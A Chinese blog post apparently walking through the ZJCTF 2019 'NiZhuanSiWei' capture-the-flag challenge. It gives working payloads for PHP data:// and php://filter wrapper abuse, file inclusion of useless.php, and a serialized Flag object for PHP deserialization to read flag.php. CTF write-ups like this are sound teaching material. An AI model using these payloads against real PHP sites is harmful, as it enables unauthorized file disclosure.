首页 > 其他分享 >[ZJCTF 2019]NiZhuanSiWei 1

[ZJCTF 2019]NiZhuanSiWei 1

时间:2023-11-09 22:35:12浏览次数:31  
标签:password get ZJCTF text echo NiZhuanSiWei 2019 file php

1.进入页面

2.从代码中可以看出要求,以get方式传递text,file,password三个参数。

3.第一层验证if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

  传入text,而且file_get_contents($text,'r')之后内容为“welcome to the zjctf”

  利用php伪协议中的data协议,payload为text=data://text/plain,welcome to the zjctf

  file_get_contents($text,'r')的时候,$text=data://text/plain,welcome to the zjctf会被当做url处理,而读取到的内容就是逗号后面的输入

4.第二层验证

if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php 

传入file参数,file如果不包含flag就会被包含。根据提示,我们需要包含useless.php

在进行文件包含的时候,我们可以利用php://filter伪协议查看源代码

payload:file=php://filter/convert.base64-encode/resource=useless.php

利用/index.php?text=data://plain/text,welcome to the zjctf&file=php://filter/convert.base64-encode/resource=useless.php

将base64解码后得到

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

5.传递password参数

$password = unserialize($password);
echo $password; 

源码中会对password进行反序列化,说明password应该是序列化后的字符串,结合刚刚base64解码后得到的php文件构造序列化

<?php  

class Flag{  //flag.php  
    public $file='flag.php';  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
$a=new Flag();
echo serialize($a);
?>  

得到结果:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

联合起来,payload为:?text=data://plain/text,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}  

 

ctrl+u查看源码即可获得flag

 

 

 

 

 

标签:password,get,ZJCTF,text,echo,NiZhuanSiWei,2019,file,php
From: https://www.cnblogs.com/dg05/p/17822328.html

相关文章

  • 1-visio studio2019使用
    1、visiostudio2019安装及使用1)下载地址:https://visualstudio.microsoft.com/zh-hans/vs/older-downloads/2)选择社区版进行下载3)安装环境:win10-X64①勾选使用C++桌面开发②除默认选项外,勾选适用于最新v142生产工具的C++MFC③勾选windows10SDK(10.0.17763.0)④自定义安......
  • [极客大挑战 2019]PHP 1
    题目环境:注意这四个字“备份网站”,让我想到了之前自己做网站的时候,有一次上传FTP网站文件,不小心把全部网站文件清空了,我伤心欲绝没有做网站备份文件,自此以后我就把网站文件在本地备份了一份,每更新网站有一次就在本地备份一次,备份格式是ZIP格式,比较节省空间,所以我这猜测它网站后台......
  • 记一次经典SQL双写绕过题目[极客大挑战 2019]BabySQL 1
    题目环境:<br/>作者已经描述进行了严格的过滤做好心理准备进行迎接判断注入类型admin1'字符型注入<br/><br/>万能密码注入admin1'or'1'='1报错<br/>已经是字符型注入了,所以的话只有or这里存在了过滤联想到buuctf里面还没有碰到双写绕过的题目所以这里斗胆......
  • P5323 [BJOI2019] 光线
    P5323[BJOI2019]光线题目描述当一束光打到一层玻璃上时,有一定比例的光会穿过这层玻璃,一定比例的光会被反射回去,剩下的光被玻璃吸收。设对于任意\(x\),有\(x\timesa_i\%\)单位的光会穿过它,有\(x\timesb_i\%\)的会被反射回去。现在\(n\)层玻璃叠在一起,有\(1\)单位......
  • 2019-2020 ICPC, NERC, Northern Eurasia Finals
    组队打\(\rmICPC\),队友是\(\rmfishead\)和\(\rmLiang_Yusong\)。只过了五个题,还是太菜了。开局\(6\min\)我先把\(\rmB\)切了,然后\(\rmLYS\)在\(34\min\)时过了\(\rmE\)。这个时候\(\rmfishead\)切\(\rmL\),做法假了,罚时\(++\)。然后我开\(\rmD\),......
  • Windows Server2019安装MySQL8.0.32
    安装包下载:https://downloads.mysql.com/archives/community/下载mysql-8.0.32-winx64.zip1、制定目录配置basedir=D:\\mysql8.0.32#mysql数据存放目录datadir=D:\\mysql8.0.32\\data将.zip压缩包解压到D盘,并重命名为mysql8.0.322、编辑my.ini文件[client]#max_a......
  • [SUCTF 2019]CheckIn
    题目给出了源码,如下。<!DOCTYPEhtml><htmllang="en"><head><metacharset="UTF-8"><metaname="viewport"content="width=device-width,initial-scale=1.0"><metahttp-equiv="......
  • [GXYCTF2019]BabyUpload
    题目附件如下。<?phpsession_start();echo"<metahttp-equiv=\"Content-Type\"content=\"text/html;charset=utf-8\"/><title>Upload</title><formaction=\"\"method=\"post\"enctype=\......
  • [十二省联考 2019] 春节十二响
    [十二省联考2019]春节十二响感觉作为例题还是挺不错的。感官上直接分析比较困难。不妨先考虑怎样的段长集合是合法的。注意到合法等价于对每一条从根到叶子的链都合法,考虑在链上贪心,尝试将每个和比他大的最小的点做匹配,如果能匹配上就是合法。很显然,如果仅考虑一条链,那么极小......
  • [ZJCTF 2019]NiZhuanSiWei
    打开题目,得到一段源码,如下。<?php$text=$_GET["text"];$file=$_GET["file"];$password=$_GET["password"];if(isset($text)&&(file_get_contents($text,'r')==="welcometothezjctf")){echo"<......